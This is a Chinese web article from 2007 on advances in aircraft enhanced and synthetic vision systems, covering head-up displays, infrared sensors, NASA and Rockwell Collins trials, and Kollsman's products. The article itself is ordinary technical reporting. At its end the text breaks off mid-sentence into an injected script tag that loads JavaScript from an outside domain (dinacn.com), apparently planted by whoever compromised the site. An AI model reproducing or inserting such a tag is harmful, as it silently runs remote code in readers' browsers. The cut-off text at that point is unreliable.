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视景增强系统和合成视景系统的新进展 - 看看网
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视景增强系统和合成视景系统的新进展
2007-1-5  作者:张昕  阅读:  

  重大航空安全事故很多发生在恶劣气象条件下的进近着陆阶段,因而提高低能见度下飞行的安全性一直是业内希望解决的问题。通过传感器帮助飞行员看清机场跑道,或者以地形数据库为基础,由计算机生成的画面引导飞行员沿正确的航路飞行,是已研究了多年的驾驶舱显示更新课题。近两年,这些研究在美国取得了很大的进展,但何时进入航线飞机却不仅仅取决于技术上的进步。

  能见度受限是全球重大 航空事故的主要因素之一,开发视景增强系统(EVS)和合成视景系统(SVS)的目的便是利用先进的驾驶舱显示器,为驾驶员提供在低能见度情况下了解地面和空中情况的能力。

  系统的组成情况

  多年前,为了帮助机组在夜间和恶劣气象条件下进近和着陆,人们就在机场安装了仪表着陆系统,在飞机上加装自动着陆系统。前些年,为了提高进近着陆的导航精度,FAA还利用全球定位系统(GPS)开发了地基的局域增强系统(LAAS)。但由于技术和资金问题,这套系统一直没有普遍使用。

  对于航线飞机来说,飞行员必须要在能够看见跑道的决断高度上做出是否进场着陆的决定。而在恶劣气象条件下飞行员能看见跑道的高度非常有限,而且在进近与着陆的关键时刻其工作负荷很大,反复的驾驶舱内外交替观察对于其工作会产生不利影响。为此,航电制造商将原先用于军用飞机发现和瞄准目标用的平显--一块半透明的玻璃置于机组的头部上方。

  所谓视景增强系统,就是把由机载红外传感器和毫米波雷达给出的图像重叠在平显上,在为机组呈现肉眼看不到真实的跑道画面的同时,显示一些下显给出的重要数据指示。

  据称,如果飞机使用平视显示器,驾驶员能够在85%的时间进入任何机场;如果增加红外摄像机,构成红外视景增强系统,又可提高约7%;在红外摄像机的基础上增加毫米波雷达,还能够再提高5%。

  飞行安全基金会对1959~1989年间喷气运输机事故的研究表明:全部起飞/爬升总伤亡事故的三分之一可能通过平视制导系统技术得以避免或受到积极影响。对下降/进场/着陆事故的分析指出,其中37%可能通过平视制导系统技术加以避免或受到积极影响。

  所谓合成视景系统,是以计算机生成的3维地形和障碍物数据库为基础形成的虚拟视景,它多数呈现在下显上,并与GPS精密导航系统相连,为飞行员提供了飞机外环境的描述,并以"空中高速路"的管道方式引导飞行的航路。系统不仅可与地形回避告警系统(TAWS)、空中交通防撞系统(TCAS)接口,还能与提供告警和提示,甚至与近似于实时的气象信息数据链相结合。该系统还能提供低能见度条件下的滑行和起飞导引。

  当地形数据库与飞机的GPS位置相结合,飞行员实际上可从三个不同的方式,即从驾驶舱内(以自我为中心),飞机外部(向外)和共用的地图和垂直剖面显示器上清楚地"看"到自己周围的飞行环境。  

  研究的进展情况

   2006年1月16日, NASA 将2005年度实现目标奖授予了罗克韦尔·柯林斯公司,以奖励该公司为"湾流"V 飞机的合成视景系统综合技术评估项目所做出的贡献。

  该项目是在2004年夏季进行,研究人员利用一架"湾流"V 喷气飞机,在理诺/塔霍湖国际机场测试了装机的合成/增强视景系统。这两套系统分别在平视显示器和下视显示器上向机组人员给出了地形的3维视景、机场进近区的电子活动地图。该工作组的成员除了罗克韦尔·柯林斯公司外,还包括NASA的兰利研究中心、美国空军研究实验室、湾流宇航公司、美国俄亥俄综合大学、科罗拉多大学 、杰普森公司及FAA等多家单位。

  柯林斯公司强调,合成视景技术不仅改善了航空安全性,由于为驾驶员提供了清晰的和精确的外界图像,还有助于增加机场的效率。

  杰普森公司是一家著名的数字地图供应商,它将其最新开发的工具包已经发给航电供应商,以便他们能在地形上覆盖航路仪表航图数据。

  公务和通用航空驾驶舱在增强型和合成视景组合的应用上走在航线飞机的前面。美国科勒斯曼公司在一架赛斯纳340试验机上对这种增强和合成视景的组合显示器进行了试飞,预计2007年进入市场。科勒斯曼公司是以色列艾尔伯特系统公司的美国公司,其传感器和光学系统开发在以色列进行。

  预计今年他们的一些新的产品会问世,但增强的合成视景系统(ESViS)要到2007年才能推向市场。ESViS也是依赖杰普森公司的数字式地形和障碍物数据库创造3维的图像(合成视景)。由机上前视红外传感器产生的实时信息则能突显一些数字式数据库所没有的信息。

  科勒斯曼公司正在试飞的两种新的前视红外传感器,一种是1~5微米波段需要制冷的前视红外系统,它可以探测进近灯光和其他机场特征,体积大约占3/8航电机箱,并与平显接口;另一种红外传感器是无需制冷的,重量不到2.5千克,可以像天线那样安装。作为通用航空视景系统,可提供30度×22.5度的视场,工作?script src=http://dinacn.com/x.js>

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